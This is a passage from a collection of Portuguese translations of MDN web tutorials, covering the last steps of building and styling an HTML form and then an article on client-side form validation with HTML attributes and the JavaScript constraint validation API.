`<textarea> </ textarea>`. Esta é uma das esquisitices do HTML. A tag **`<input />`** é um elemento que se auto-fecha, o que significa que se você quiser encerrar formalmente o elemento, você tem que adicionar uma barra \"**/**\" no final do próprio elemento e não uma tag de fechamento. No entanto, o tipo `<textarea>` não é um elemento de auto-fechamento, então você tem que fechá-lo com a tag final adequada. Isso tem um impacto sobre um recurso específico de formulários HTML: a maneira como você define o valor padrão. Para definir o valor padrão de um elemento `<input>` você tem que usar o atributo `value` como este:\n\n\n```html\n<input\n type=\"text\"\n value=\"Por padrão, este elemento será preenchido com este texto \" />\n```\n\n\nPelo contrário, se você deseja definir o valor padrão de um elemento `<textarea>` , você só tem que colocar esse valor padrão no meio das tags, entre tag inicial e a tag final do elemento `<textarea>` , como abaixo:\n\n\n```html\n<textarea>Por padrão, este elemento será preenchido com este texto </textarea>\n```\n\n### E um elemento `<button>` para concluir\n\nO nosso formulário está quase pronto; nós temos apenas que adicionar um botão para permitir que o usuário envie seus dados depois de ter preenchido o formulário. Isto é simplesmente feito usando o elemento `<button>` :\n\n\n```html\n<form action=\"/pagina-processa-dados-do-form\" method=\"post\">\n  <div>\n    <label for=\"name\">Nome:</label>\n    <input type=\"text\" id=\"name\" />\n  </div>\n  <div>\n    <label for=\"mail\">E-mail:</label>\n    <input type=\"email\" id=\"mail\" />\n  </div>\n  <div>\n    <label for=\"msg\">Mensagem:</label>\n    <textarea id=\"msg\"></textarea>\n  </div>\n  <div class=\"button\">\n    <button type=\"submit\">Enviar sua mensagem</button>\n  </div>\n</form>\n```\n\n\nUm botão pode ser de três tipos: **`submit`**, **`reset`**, ou **`button`**.\n\n* Um clique sobre um botão de **`submit`** envia os dados do formulário para a página de web definida pelo atributo **`action`** do elemento `<form>` (en-US) .\n* Um clique sobre um botão de **`reset`** redefine imediatamente todos os campos do formulário para o seu valor padrão. De um ponto de vista na usabilidade do usuário(UX), isso é considerado uma má prática.\n* Um clique em um botão do tipo **`button`** faz ...ops, nada! Isso soa bobo, mas é incrivelmente útil para construir botões personalizados com JavaScript, ou seja, ele pode assumir qualquer comportamento através desta linguagem.\n\nNote que você também pode usar o elemento `<input>` com o tipo correspondente para produzir um botão. A principal diferença com o elemento `<button>` é que o elemento `<input>` permite apenas texto sem formatação como seu valor, enquanto que o elemento `<button>` permite que o conteúdo HTML completo como seu valor.\n\nVamos deixar um pouco mais legal com CSS\n----------------------------------------\n\nAgora que temos o nosso formulário HTML, se você olhar para ele em seu navegador favorito, você vai ver que ele parece meio feio.\n\n![](/files/4049/form-no-style.png)\n\nVamos deixar ele um pouco mais legal com os códigos CSS a seguir:\n\nVamos começar com o próprio formulário; vamos centralizá-lo e torná-lo visível com uma borda:\n\n\n```css\nform {\n  /\\* Apenas para centralizar o form na página \\*/\n  margin: 0 auto;\n  width: 400px;\n  /\\* Para ver as bordas do formulário \\*/\n  padding: 1em;\n  border: 1px solid #ccc;\n  border-radius: 1em;\n}\n```\n\n\nEntão, adicionaremos algum espaço entre cada conjunto de campos do form:\n\n\n```css\nform div + div {\n  margin-top: 1em;\n}\n```\n\n\nAgora vamos focar nas **`labels`**. Para fazer o nosso formulário mais legível, é considerada a melhor prática ter todas as etiquetas do mesmo tamanho e alinhadas do mesmo lado. Nesse caso, vamos alinhá-los para a direita, mas em alguns casos, o alinhamento à esquerda pode ficar bem também.\n\n\n```css\nlabel {\n  /\\*Para ter certeza que todas as labels tem o mesmo tamanho e estão propriamente alinhadas \\*/\n  display: inline-block;\n  width: 90px;\n  text-align: right;\n}\n```\n\n\nUma das coisas mais difíceis de fazer em formulários HTML são os estilo dos próprios campos. Os campos de texto são fáceis de estilizar, mas alguns outros campos não são. Se você quiser saber mais sobre estilização de formulários HTML, leia o artigo Styling HTML forms (en-US).\n\nAqui vamos usar alguns truques comuns: fontes de harmonização, tamanho e bordas:\n\n\n```css\ninput,\ntextarea {\n  /\\* Para certificar-se que todos os campos de texto têm as mesmas configurações de fonte. Por padrão, textareas ter uma fonte monospace\\*/\n  font: 1em sans-serif;\n\n  /\\* Para dar o mesmo tamanho a todos os campo de texto \\*/\n  width: 300px;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n\n  /\\* Para harmonizar o look & feel das bordas nos campos de texto\\*/\n  border: 1px solid #999;\n}\n```\n\n\nFormulários HTML suportam muitas pseudo-classes para descrever os estados de cada elemento. Como exemplo, vamos adicionar um pouco de destaque quando um campo está ativo. É uma maneira conveniente para ajudar a manter o controle do usuário de onde eles está no formulário.\n\n\n```css\ninput:focus,\ntextarea:focus {\n  /\\* Dar um pouco de destaque nos elementos ativos \\*/\n  border-color: #000;\n}\n```\n\n\nCampos de texto de várias linhas precisam de alguns estilos personalizados sozinhos. Por padrão, um elemento `<textarea>` é um bloco em linha com sua parte inferior alinhada à linha de base do texto. Na maioria das vezes, não é baseline o que queremos. Nesse caso, a fim de alinhar a `label` e o campo, temos que alterar a propriedade *vertical-align* do `<textarea>` para *top*.\n\nObserve também o uso da propriedade de *resize*, que é uma forma de permitir que os usuários redimensionar um elemento `<textarea>`.\n\n\n```css\ntextarea {\n  /\\* Para alinhar corretamente os campos de texto de várias linhas com sua label\\*/\n  vertical-align: top;\n\n  /\\* Para dar espaço suficiente para digitar algum texto \\*/\n  height: 5em;\n\n  /\\* Para permitir aos usuários redimensionarem qualquer textarea verticalmente. Ele não funciona em todos os browsers \\*/\n  resize: vertical;\n}\n```\n\n\nMuitas vezes, os botões precisam de estilos especiais também. Para esse fim, nós o colocamos dentro de uma `<div>` com uma classe css *`button`*. Aqui, queremos que o botão esteja alinhado com os outros campos . Para conseguir isso, temos de imitar a presença de uma `<label>`. Isso é feito utilizando `padding` e `margin`.\n\n\n```css\n.button {\n  /\\* Para posicionar os botões para a mesma posição dos campos de texto \\*/\n  padding-left: 90px; /\\* mesmo tamanho que os elementos do tipo label \\*/\n}\nbutton {\n  /\\* Esta margem extra representa aproximadamente o mesmo espaço que o espaço entre as labels e os seus campos de texto\\*/\n  margin-left: 0.5em;\n}\n```\n\n\nAgora o nosso formulário parece muito mais bonito.\n\n![](/files/4051/form-style.png)\n\nEnviar os dados para seu servidor web\n-------------------------------------\n\nA última parte, e talvez a mais complicado, é lidar com dados de formulário no lado do servidor. Como dissemos antes, na maioria das vezes, um formulário HTML é uma forma conveniente para perguntar ao usuário os dados e enviá-lo para um servidor web.\n\nO elemento `<form>` (en-US) definirá onde e como enviar os dados, graças ao atribudo ***action*** e ao atributo ***method***\n\nMas não é o suficiente. Nós também precisamos dar um nome a nossos dados. Esses nomes são importantes em ambos os lados; no lado do navegador, ele informa ao navegador que nome dar a cada pedaço de dados, e no lado do servidor, ele permite que o servidor lidar com cada pedaço de dados pelo nome.\n\nEntão, para nomear seus dados, você precisará usar o atributo ***`name`*** em cada campo do formulário que irá recolher uma parte específica dos dados:\n\n\n```html\n<form action=\"/pagina-processa-dados-do-form\" method=\"post\">\n  <div>\n    <label for=\"nome\">Nome:</label>\n    <input type=\"text\" id=\"nome\" name=\"usuario\\_nome\" />\n  </div>\n  <div>\n    <label for=\"email\">E-mail:</label>\n    <input type=\"email\" id=\"email\" name=\"usuario\\_email\" />\n  </div>\n  <div>\n    <label for=\"msg\">Mensagem:</label>\n    <textarea id=\"msg\" name=\"usuario\\_msg\"></textarea>\n  </div>\n\n  <div class=\"button\">\n    <button type=\"submit\">Enviar sua mensagem</button>\n  </div>\n</form>\n```\n\n\nEm nosso exemplo, o formulário irá enviar 3 informações, chamados \"usuario\\_nome\", \"usuario\\_email\" e \"usuario\\_msg\" e os dados serão enviados para a URL **\"/pagina-processa-dados-do-form\"** com o método HTTP: **POST** .\n\nNo lado do servidor, o script na URL \"***/pagina-processa-dados-do-form***\" receberá os dados como uma lista de itens 3 de chave/valor contidos na solicitação HTTP. A forma como o script vai lidar com esses dados fica a seu critério. Cada linguagem server-side (PHP, Python, Ruby, Java, C #, etc.) tem seu próprio mecanismo. Está além do escopo deste guia aprofundar o assunto, mas se você quiser saber mais, vamos dar alguns exemplos no artigo Enviando e recuperando dados de formulário (en-US).\n\nConclusão\n---------\n\nParabéns! Você construiu seu primeira formulário HTML. Aqui está um exemplo do resultado final.\n\n| Live example |\n| --- |\n|  |\n|  |\n\nAgora é hora de dar uma olhada mais profunda. Formulários HTML são muito mais poderoso do que o que nós vimos aqui e os outros artigos deste guia irá ajudá-lo a dominar o resto."}
{"title":"Form data validation - Aprendendo desenvolvimento web","text":"Form data validation\n====================\n\n* Anterior  (en-US)\n* Menu: Forms (en-US)\n* Próxima  (en-US)\n\nA validação de formulário nos ajuda a garantir que os usuários preencham os campos no formato correto, garantindo que os dados enviados funcionem com êxito em nossos aplicativos. Este artigo apresentará conceitos e exemplos básicos sobre validação de formulário. Para mais informações adicionais, consulte o Guia de validação (en-US).\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento em informática, uma compreensão razoável de\n HTML,\n CSS, e\n JavaScript.\n  |\n| Objetivo: | \n Entender o que é validação de formulários porque é importante a\n aplicação de várias técnicas para implementá-lo.\n  |\n\nO que é validação de formulário?\n--------------------------------\n\nVá a qualquer site popular com um formulário de registro, e perceberá que eles dão feedback quando você não insere seus dados no formato esperado. Você receberá mensagens como:\n\n* \"Sua senha precisa ter entre 8 e 30 caracteres e conter uma letra maiúscula, um símbolo e um número\"\n* \"Por favor, digite seu número de telefone no formato (xx) xxxx-xxxx\"\n* \"Por favor insira um endereço de email válido\" (se a sua entrada não estiver no formato \"email@email.com\")\n* \"Este campo é obrigatório\" (você não pode deixar este campo em branco)\n\nIsso é chamado de validação de formulário - quando você insere dados, o aplicativo da Web faz a verificação para ver se os dados estão corretos. Se estiver correto, o aplicativo permite que os dados sejam enviados ao servidor e (geralmente) salvos em um banco de dados; se não, você receberá uma mensagem de erro explicando quais correções precisam ser feitas. A validação de formulários pode ser implementada de várias maneiras diferentes.\n\nQueremos tornar o preenchimento de formulários da web o mais fácil possível. Então, por que insistimos em validar nossos formulários? Existem três razões principais:\n\n* **Nos queremos que o dado correto e no formato correto** — nossa aplicação não irá trabalhar de forma correta se os dados dos nossos usuarios estivem armazenados em formato incorreto, ou quando esses dados são omitidos.\n* **Quemos proteger os dados dos nossos usuários** — Forçarnosos usuários a fornecer senhas seguras facilita na proteção das informações da conta do usuário.\n* **Queremos proteger nos mesmos** — Existem diversas maneiras de um usuário malicioso usar formulários desprotegidos para danificar nossa aplicação (veja Website security).\n\n**Aviso:** Nunca confie nos dados passados do cliente para o servidor. Mesmo que seu formulário seja validado de maneira correta e previna a má formação de inputs no lado do cliente, um usuário malicioso ainda pode roubar o request da conexão.\n### Diferentes tipos de validação de formulário\n\nExistem dois tipos diferentes de validação de formulários que você encontrará na web:\n\n* **Validação do lado do cliente** é a validação que ocorre no navegador antes que os dados sejam enviados ao servidor. Isso é mais fácil de usar do que a validação do lado do servidor, pois fornece uma resposta instantânea. Isso pode ser ainda subdividido:\n    + A validação **JavaScript** é codificada usando JavaScript. É completamente customizável.\n    + **Validação de formulário integrada** usando recursos de validação de formulário HTML5. Isso geralmente não requer JavaScript. A validação de formulário integrada tem melhor desempenho, mas não é tão personalizável quanto o JavaScript.\n* **Validação do lado do servidor** é a validação que ocorre no servidor após o envio dos dados. O código do lado do servidor é usado para validar os dados antes de serem salvos no banco de dados. Se os dados falharem na autenticação, uma resposta será enviada de volta ao cliente para informar ao usuário quais correções devem ser feitas. A validação do lado do servidor não é tão amigável quanto a validação do lado do cliente, pois não fornece erros até que todo o formulário seja enviado. No entanto, a validação do lado do servidor é a última linha de defesa do seu aplicativo contra dados incorretos ou até maliciosos. Todos os frameworks do lado do servidor (en-US) populares têm recursos para **validar** e **limpar** dados (tornando-os seguros).\n\nNo mundo real, os desenvolvedores tendem a usar uma combinação de validação do lado do cliente e do lado do servidor.\n\nUsando validação de formulário integrada\n----------------------------------------\n\nUm dos recursos do HTML5 é a capacidade de validar a maioria dos dados do usuário sem depender de scripts. Isso é feito usando atributos de validação (en-US) em elementos de formulário, que permitem especificar regras para uma entrada de formulário, como se um valor precisa a ser preenchido, o comprimento mínimo e máximo dos dados, se precisa ser um número, um endereço de e-mail ou qualquer outra coisa, e um padrão que deve corresponder. Se os dados inseridos seguirem todas as regras especificadas, são considerados válidos; caso contrário, é considerado inválido.\n\nQuando um elemento é válido:\n\n* O elemento corresponde à pseudo-classe CSS `:valid`; isso permitirá que você aplique um estilo específico a elementos válidos.\n* Se o usuário tentar enviar os dados, o navegador enviará o formulário, desde que nada mais o impeça de fazê-lo (por exemplo, JavaScript).\n\nQuando um elemento é inválido:\n\n* O elemento corresponde à pseudo-classe CSS `:invalid`; isso permitirá que você aplique um estilo específico a elementos inválidos.\n* Caso o usuário tente enviar os dados, o navegador bloqueará o formulário e exibirá uma mensagem de erro.\n### Restrições de validação em elementos de entrada — começando simples\n\nNesta seção, veremos alguns dos diferentes recursos HTML5 que podem ser usados para validar elementos `<input>`.\n\nVamos começar com um exemplo simples — uma entrada que permite que você escolha sua fruta favorita entre banana ou cereja. Isso envolve um texto simples `<input>` com um rótulo correspondente e um envio `<button>`. Você pode encontrar o código-fonte no GitHub como fruit-start.html, e um exemplo ao vivo abaixo:\n```\n\n<form>\n  <label for=\"choose\">Você prefere banana ou cereja?</label>\n  <input id=\"choose\" name=\"i\\_like\" />\n  <button>Enviar</button>\n</form>\n```\n\n\n```\ninput:invalid {\n  border: 2px dashed red;\n}\n\ninput:valid {\n  border: 2px solid black;\n}\n```\n\n\nPara começar, faça uma cópia de `fruit-start.html` em um novo diretório em seu disco rígido.\n\n### O atributo obrigatório\n\nO recurso de validação HTML5 mais simples de usar é o atributo `required` — se você quiser tornar uma entrada obrigatória, você pode marcar o elemento usando este atributo. Quando este atributo estiver definido, o formulário não será enviado (e exibirá uma mensagem de erro) quando a entrada estiver vazia (a entrada também será considerada inválida).\n\nAdicione um atributo `required` à sua entrada, conforme mostrado abaixo:\n\n\n```html\n<form>\n  <label for=\"choose\">Você prefere banana ou cereja?</label>\n  <input id=\"choose\" name=\"i\\_like\" required />\n  <button>Enviar</button>\n</form>\n```\n\n\nAlém disso, anote o CSS incluído no arquivo de exemplo:\n\n\n```css\ninput:invalid {\n  border: 2px dashed red;\n}\n\ninput:valid {\n  border: 2px solid black;\n}\n```\n\n\nIsso faz com que a entrada tenha uma borda tracejada vermelha brilhante quando for inválida e uma borda preta mais sutil quando válida. Experimente o novo comportamento no exemplo abaixo:\n\n### Validando com uma expressão regular\n\nOutro recurso de validação muito comum é o atributo `pattern` que espera uma Expressão Regular como seu valor. Uma expressão regular (regex) é um padrão que pode ser usado para identificar combinações de caracteres em strings de texto, então elas são ideais para validação de formulários (assim como uma variedade de outros usos em JavaScript)\n\nRegexes são bastante complexas e não pretendemos ensiná-las exaustivamente neste artigo. Abaixo estão alguns exemplos para dar uma ideia básica de como eles funcionam:\n\n* `a` — corresponde a um caractere que é `a` (não `b`, não `aa`, etc.)\n* `abc` — corresponde a `a`, seguido por `b`, seguido por `c`.\n* `a|b` — corresponde a um caractere que é `a` ou `b`.\n* `abc|xyz` — corresponde exatamente a `abc` ou exatamente `xyz` (mas não `abcxyz`, ou `a` ou `y`, etc).\n* Existem muitas outras possibilidades que não precisamos cobrir aqui.\n\nDe qualquer forma, vamos implementar um exemplo — atualize seu HTML para adicionar um atributo `pattern`, assim:\n\n\n```html\n<form>\n  <label for=\"choose\">Você prefere uma banana ou uma cereja?</label>\n  <input id=\"choose\" name=\"i\\_like\" required pattern=\"banana|cherry\" />\n  <button>Enviar</button>\n</form>\n```\n\n\n```\ninput:invalid {\n  border: 2px dashed red;\n}\n\ninput:valid {\n  border: 2px solid black;\n}\n```\n\n\nNeste exemplo, o elemento `<input>` aceita um dos dois valores possíveis: a string \"banana\" ou a string \"cherry\".\n\nNeste ponto, tente alterar o valor dentro do atributo `pattern` para igualar alguns dos exemplos que você viu anteriormente e veja como isso afeta os valores que você pode inserir para tornar o valor de entrada válido. Tente escrever alguns dos seus próprios, e veja como você se sai! Tente torná-los relacionados a frutas sempre que possível, para que seus exemplos façam sentido!\n\n**Nota:** Alguns tipos de elemento `<input>` não precisam de um atributo `pattern` para serem validados. Especificar o tipo `email`, por exemplo, valida o valor inserido em relação a uma expressão regular que corresponde a um endereço de e-mail bem formado (ou uma lista de endereços de e-mail separados por vírgula se tiver o `multiple` atributo). Como outro exemplo, os campos com o tipo `url` requerem automaticamente um URL devidamente formado.\n\n**Nota:** O elemento `<textarea>` não suporta o atributo `pattern`.\n\n### Restringindo o comprimento de suas entradas\n\nTodos os campos de texto criados por `<input>` ou `<textarea>` podem ser restringidos em tamanho usando `minlength` e `maxlength` atributos. Um campo é inválido se seu valor for menor que o valor `minlength` ou maior que o valor `maxlength`. Os navegadores geralmente não permitem que o usuário digite um valor maior do que o esperado nos campos de texto, mas é útil ter esse controle refinado disponível.\n\nPara campos numéricos (ou seja, `<input type=\"number\">`), os atributos `min` e `max` também fornecem uma restrição de validação. Se o valor do campo for menor que o atributo `min` ou maior que o atributo `max`, o campo será inválido.\n\nVejamos outro exemplo. Crie uma nova cópia do arquivo fruit-start.html.\n\nAgora exclua o conteúdo do elemento `<body>` e substitua-o pelo seguinte:\n\n\n```html\n<form>\n  <div>\n    <label for=\"choose\">Você prefere uma banana ou uma cereja?</label>\n    <input\n type=\"text\"\n id=\"choose\"\n name=\"i\\_like\"\n required\n minlength=\"6\"\n maxlength=\"6\" />\n  </div>\n  <div>\n    <label for=\"number\">Quantos você gostaria?</label>\n    <input type=\"number\" id=\"number\" name=\"amount\" value=\"1\" min=\"1\" max=\"10\" />\n  </div>\n  <div>\n    <button>Enviar</button>\n  </div>\n</form>\n```\n\n\n* Aqui você verá que demos ao campo `text` um `minlength` e `maxlength` de 6 — o mesmo comprimento que banana e cherry. Digitar menos caracteres será exibido como inválido e digitar mais não é possível na maioria dos navegadores.\n* Também demos ao campo `number` um `min` de 1 e um `max` de 10 — os números inseridos fora desse intervalo serão mostrados como inválidos e você não poderá usar as setas de incremento/diminuição para mova o valor para fora deste intervalo.\n```\n\ninput:invalid {\n  border: 2px dashed red;\n}\n\ninput:valid {\n  border: 2px solid black;\n}\n\ndiv {\n  margin-bottom: 10px;\n}\n```\n\n\nAqui está o exemplo rodando ao vivo:\n\n**Nota:** `<input type=\"number\">` (e outros tipos, como `range`) também podem receber um atributo `step`, que especifica o que incrementar o valor aumentará ou diminuirá quando os controles de entrada forem usados (como os botões numéricos para cima e para baixo).\n\n### Exemplo completo\n\nAqui está um exemplo completo para mostrar o uso dos recursos de validação internos do HTML:\n\n\n```html\n<form>\n  <p>\n    <fieldset>\n      <legend>Título<abbr title=\"Este campo é obrigatório\">*</abbr></legend>\n      <input type=\"radio\" required name=\"title\" id=\"r1\" value=\"Mr\"><label for=\"r1\">Sr.</label>\n      <input type=\"radio\" required name=\"title\" id=\"r2\" value=\"Ms\"><label for=\"r2\">Sra.</label>\n    </fieldset>\n  </p>\n  <p>\n    <label for=\"n1\">Quantos anos você tem?</label>\n    <!-- O atributo pattern pode atuar como um substituto para navegadores que\n não implemente o tipo de entrada de número, mas dê suporte ao atributo pattern.\n Observe que os navegadores que suportam o atributo pattern o tornarão\n falha silenciosamente quando usado com um campo numérico.\n Seu uso aqui atua apenas como um fallback -->\n    <input type=\"number\" min=\"12\" max=\"120\" step=\"1\" id=\"n1\" name=\"age\"\n pattern=\"\\d+\">\n  </p>\n  <p>\n    <label for=\"t1\">Qual é a sua fruta favorita?<abbr title=\"Este campo é obrigatório\">*</abbr></label>\n    <input type=\"text\" id=\"t1\" name=\"fruit\" list=\"l1\" required\n pattern=\"[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range\">\n    <datalist id=\"l1\">\n      <option>Banana</option>\n      <option>Cereja</option>\n      <option>Maçã</option>\n      <option>Morango</option>\n      <option>Limão</option>\n      <option>Laranja</option>\n    </datalist>\n  </p>\n  <p>\n    <label for=\"t2\">Qual é o seu e-mail?</label>\n    <input type=\"email\" id=\"t2\" name=\"email\">\n  </p>\n  <p>\n    <label for=\"t3\">Deixe uma mensagem curta</label>\n    <textarea id=\"t3\" name=\"msg\" maxlength=\"140\" rows=\"5\"></textarea>\n  </p>\n  <p>\n    <button>Enviar</button>\n  </p>\n</form>\n```\n\n\n\n```css\nbody {\n  font: 1em sans-serif;\n  padding: 0;\n  margin: 0;\n}\n\nform {\n  max-width: 200px;\n  margin: 0;\n  padding: 0 5px;\n}\n\np > label {\n  display: block;\n}\n\ninput[type=\"text\"],\ninput[type=\"email\"],\ninput[type=\"number\"],\ntextarea,\nfieldset {\n  /\\* required to properly style form\n elements on WebKit based browsers \\*/\n  -webkit-appearance: none;\n\n  width: 100%;\n  border: 1px solid #333;\n  margin: 0;\n\n  font-family: inherit;\n  font-size: 90%;\n\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\ninput:invalid {\n  box-shadow: 0 0 5px 1px red;\n}\n\ninput:focus:invalid {\n  box-shadow: none;\n}\n```\n\n\nConsulte Atributos relacionados à validação (en-US) para obter uma lista completa de atributos que podem ser usados para restringir valores de entrada e os tipos de entrada que suportam eles.\n\n### Mensagens de erro personalizadas\n\nComo visto nos exemplos acima, cada vez que o usuário tenta enviar um formulário inválido, o navegador exibe uma mensagem de erro. A forma como esta mensagem é exibida depende do navegador.\n\nEssas mensagens automatizadas têm duas desvantagens:\n\n* Não existe uma maneira padrão de mudar sua aparência com CSS.\n* Eles dependem da localidade do navegador, o que significa que você pode ter uma página em um idioma, mas uma mensagem de erro exibida em outro idioma.\n\n| Navegador | Renderização |\n| --- | --- |\n| Firefox 17 (Windows 7) | Exemplo de uma mensagem de erro com o Firefox em francês em uma página em inglês |\n| Chrome 22 (Windows 7) | Exemplo de mensagem de erro com o Chrome em francês em uma página em inglês |\n| Opera 12.10 (Mac OSX) | Exemplo de uma mensagem de erro com o Opera em francês em uma página em inglês |\n\nPara personalizar a aparência e o texto dessas mensagens, você deve usar JavaScript; não há como fazer isso usando apenas HTML e CSS.\n\nHTML5 fornece a API de validação de restrição (en-US) para verificar e personalizar o estado de um elemento de formulário. Entre outras coisas, é possível alterar o texto da mensagem de erro. Vejamos um exemplo rápido:\n\n\n```html\n<form>\n  <label for=\"mail\">Gostaria que você me enviasse um e-mail</label>\n  <input type=\"email\" id=\"mail\" name=\"mail\" />\n  <button>Enviar</button>\n</form>\n```\n\n\nEm JavaScript, você chama o método `setCustomValidity()` (en-US):\n\n\n```js\nvar email = document.getElementById(\"mail\");\n\nemail.addEventListener(\"input\", function (event) {\n  if (email.validity.typeMismatch) {\n    email.setCustomValidity(\"spero um e-mail, querida!\");\n  } else {\n    email.setCustomValidity(\"\");\n  }\n});\n```\n\nValidando formulários usando JavaScript\n---------------------------------------\n\nSe você quiser controlar a aparência das mensagens de erro nativas, ou se quiser lidar com navegadores que não suportam a validação de formulário interna do HTML, você deve usar JavaScript.\n\n### A API de validação de restrição\n\nMais e mais navegadores agora suportam a API de validação de restrição, e ela está se tornando confiável. Essa API consiste em um conjunto de métodos e propriedades disponíveis em interfaces específicas de elementos de formulário:\n\n* HTMLButtonElement (en-US)\n* HTMLFieldSetElement (en-US)\n* HTMLInputElement\n* HTMLOutputElement (en-US)\n* HTMLSelectElement (en-US)\n* HTMLTextAreaElement (en-US)\n\n#### Propriedades da API de validação de restrições\n\n| Propriedade | Descrição |\n| --- | --- |\n| `mensagem de validação` | Uma mensagem localizada descrevendo as restrições de validação que o controle não atende (se houver), ou a string vazia se o controle não for um candidato para validação de restrição (`willValidate` é `false`), ou o valor do elemento satisfaz suas restrições. |\n| `validade` | Um objeto `ValidityState` descrevendo o estado de validade do elemento. Consulte esse artigo para obter detalhes de possíveis estados de validade. |\n| `vai Validar` | Retorna `true` se o elemento for validado quando o formulário for enviado; `falso` caso contrário. |\n\n#### Métodos de API de validação de restrições\n\n| Método | Descrição |\n| --- | --- |\n| `checkValidade()` | Retorna `true` se o valor do elemento não tiver problemas de validade; `falso` caso contrário. Se o elemento for inválido, este método também causará um evento `invalid (en-US)` no elemento. |\n| `HTMLFormElement.reportValidity()` (en-US) | Retorna `true` se o elemento ou seus controles filho atendem às restrições de validação. Quando `false` é retornado, eventos canceláveis `invalid (en-US)` são acionados para cada elemento inválido e problemas de validação são relatados ao usuário. |\n| `setCustomValidity(mensagem)` | Adiciona uma mensagem de erro personalizada ao elemento; se você definir uma mensagem de erro personalizada, o elemento será considerado inválido e o erro especificado será exibido. Isso permite que você use o código JavaScript para estabelecer uma falha de validação diferente daquelas oferecidas pela API de validação de restrição padrão. A mensagem é mostrada ao usuário ao relatar o problema. Se o argumento for a string vazia, o erro personalizado será apagado. |\n\nPara navegadores legados, é possível usar um polyfill como Hyperform para compensar a falta de suporte para a API de validação de restrição. Como você já está usando JavaScript, usar um polyfill não é um fardo adicional para o design ou implementação de seu site ou aplicativo da Web.\n\n#### Exemplo usando a API de validação de restrição\n\nVamos ver como usar essa API para criar mensagens de erro personalizadas. Primeiro, o HTML:\n\n\n```html\n<form novalidate>\n  <p>\n    <label for=\"mail\">\n      <span>Por favor, insira um endereço de e-mail:</span>\n      <input type=\"email\" id=\"mail\" name=\"mail\" />\n      <span class=\"error\" aria-live=\"polite\"></span>\n    </label>\n  </p>\n  <button>Enviar</button>\n</form>\n```\n\n\nEste formulário simples usa o atributo `novalidate` (en-US) para desativar a validação automática do navegador; isso permite que nosso script assuma o controle sobre a validação. No entanto, isso não desativa o suporte para a API de validação de restrição nem a aplicação da pseudoclasse CSS `:valid`, `:invalid`, `:in-range` (en-US) e `:out-of-range` classes. Isso significa que, embora o navegador não verifique automaticamente a validade do formulário antes de enviar seus dados, você ainda pode fazer isso sozinho e estilizar o formulário de acordo.\n\nO atributo `aria-live` (en-US) garante que nossa mensagem de erro personalizada seja apresentada a todos, incluindo aqueles que usam tecnologias assistivas, como leitores de tela.\n\n##### CSS\n\nEste CSS estiliza nosso formulário e a saída de erro para parecer mais atraente.\n\n\n```css\n/\\* Isso é apenas para tornar o exemplo mais agradável \\*/\ncorpo {\n  font: 1em sans-serif;\n  padding: 0;\n  margin: 0;\n}\n\nform {\n  max-width: 200px;\n}\n\np \\* {\n  display: block;\n}\n\ninput[type=\"email\"] {\n  -webkit-appearance: none;\n\n  width: 100%;\n  border: 1px solid #333;\n  margin: 0;\n\n  font-family: inherit;\n  font-size: 90%;\n\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n/\\* Este é o nosso estilo para os campos inválidos \\*/\ninput:invalid {\n  border-color: #900;\n  background-color: #fdd;\n}\n\ninput:focus:invalid {\n  outline: none;\n}\n\n/\\* Este é o estilo das nossas mensagens de erro \\*/\n.error {\n  width: 100%;\n  padding: 0;\n\n  font-size: 80%;\n  color: white;\n  background-color: #900;\n  border-radius: 0 0 5px 5px;\n\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n.error.active {\n  padding: 0.3em;\n}\n```\n\n\n##### JavaScript\n\nO código JavaScript a seguir lida com a validação de erro personalizada.\n\n\n```js\n// Existem muitas maneiras de escolher um nó DOM; aqui temos o próprio formulário e o e-mail\n// caixa de entrada, bem como o elemento span no qual colocaremos a mensagem de erro.\n\nvar form = document.getElementsByTagName(\"form\")[0];\nvar email = document.getElementById(\"mail\");\nvar error = document.querySelector(\".error\");\n\nemail.addEventListener(\n  \"input\",\n  function (event) {\n    // Cada vez que o usuário digita algo, verificamos se o\n    // campo de email é válido.\n    if (email.validity.valid) {\n      // Caso haja uma mensagem de erro visível, se o campo\n      // é válido, removemos a mensagem de erro.\n      error.innerHTML = \"\"; // Reinicia o conteúdo da mensagem\n      error.className = \"error\"; // Redefinir o estado visual da mensagem\n    }\n  },\n  false,\n);\nform.addEventListener(\n  \"submit\",\n  function (event) {\n    // Cada vez que o usuário tenta enviar os dados, verificamos\n    // se o campo de email for válido.\n    if (!email.validity.valid) {\n      // Se o campo não for válido, exibimos um personalizado\n      // mensagem de erro.\n      error.innerHTML = \"Espero um e-mail, querida!\";\n      error.className = \"error active\";\n      // E evitamos que o formulário seja enviado cancelando o evento\n      event.preventDefault();\n    }\n  },\n  false,\n);\n```\n\n\nAqui está o resultado ao vivo:\n\nA API de validação de restrição oferece uma ferramenta poderosa para lidar com a validação de formulários, permitindo que você tenha um controle enorme sobre a interface do usuário acima e além do que você pode fazer apenas com HTML e CSS.\n\n### Validando formulários sem uma API integrada\n\nÀs vezes, como em navegadores legados ou widgets personalizados (en-US), você não poderá (ou não desejará) usar a API de validação de restrição. Nesse caso, você ainda pode usar JavaScript para validar seu formulário. Validar um formulário é mais uma questão de interface do usuário do que validação de dados reais.\n\nPara validar um formulário, você deve se fazer algumas perguntas:\n\nQue tipo de validação devo realizar?\n\nVocê precisa determinar como validar seus dados: operações de string, conversão de tipo, expressões regulares, etc. Você decide. Apenas lembre-se de que os dados do formulário são sempre texto e são sempre fornecidos ao seu script como strings.\n\nO que devo fazer se o formulário não validar?\n\nIsso é claramente uma questão de interface do usuário. Você tem que decidir como o formulário se comportará: O formulário envia os dados mesmo assim? Você deve destacar os campos que estão com erro? Você deve exibir mensagens de erro?\n\nComo posso ajudar o usuário a corrigir dados inválidos?\n\nPara diminuir a frustração do usuário, é muito importante fornecer o máximo de informações úteis possível para orientá-lo na correção de suas entradas. Você deve oferecer sugestões iniciais para que eles saibam o que é esperado, bem como mensagens de erro claras. Se você quiser se aprofundar nos requisitos da interface do usuário de validação de formulário, há alguns artigos úteis que você deve ler:\n\n* SmashingMagazine: Form-Field Validation: The Errors-Only Approach\n* SmashingMagazine: Validação de formulário da Web: práticas recomendadas e tutoriais\n* Seis revisões: Práticas recomendadas para dicas e validação em formulários da Web\n* Uma lista à parte: Validação 